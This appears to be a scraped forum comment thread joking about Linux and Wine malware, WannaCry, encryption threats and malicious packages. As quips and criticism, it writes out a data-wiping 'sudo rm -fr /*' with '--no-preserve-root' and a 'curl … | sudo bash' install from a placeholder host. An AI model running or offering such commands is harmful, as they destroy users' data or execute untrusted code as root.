Configuring WINE prefix...Just so the virus doesn’t feel left out.
Virus after: -What is this place?
Also virus: This is not my house, this is not my beautiful wife
Also virus: ooh look! There’s the mythological
Z:\drive! Always wanted to explore one of these
Didn’t the wannacry payload (yes, that one) actually work through wine? I remember the running joke was “Heh, finally something works in wine”

If they can take my unlocked device by force, they can probably also break my fingers to coerce me to unlock it See also: https://xkcd.com/538/
Randall is right in pointing out you need to consider your attack vectors, but this doesn’t mean you shouldn’t take reasonable precautions
Most people are more likely to run into the type of attack OP references than someone who can break LUKS encryption stealing their device
this is why6 I use LibreWolf set to clear all cookies & history + a password manager :p
Tell that to the monero miner I had to nuke when I took over one of my clients’ legacy systems. Thing was a literal hydra, detonation was the only option. Was on CentOS 5, but it was written to be POSIX compliant.

I’m so writing a virus to just
sudo rm -fr /*Don’t forget
--no-preserve-rootI don’t think that applies since /* will just glob out to all the filenames in /
You’re right, I missed that
nice of you to remove the french language pack for them, makes for a lighter system!
sudo: command not foundYou have no power here!
Now that’s just mean
It’s
-rfand not the other way around you godless heathenWhy delete the French language? What French people did to you?
What does adding fur real do?
It’s for gen-alpha computers. Makes sure all them files are yeeted, no cap.
Sudo rm -fr —yt-nc
That’s a different command
Malicious packages exist yanno, even in software stores… Viruses should be the least of your worries
Well that depends. Package registries like pypi and npm? Certainly. Something like the Debian repositories? Much less likely
exe malware: targets Wine
me: oh shi
But in that scene…
Gandalf is a fkn trojan
Meanwhile plenty of software recommends doing this:
curl https://totallysafe.example/install.sh | sudo bashchmod +x virus sudo ./virusYou’re one Malware away from it reading z: and taking all your Firefox passwords
That’s why we disable it and move everything that the program needs access to manually into the prefix, right?
until you realise that wine is virus compatible
It uses powershell….
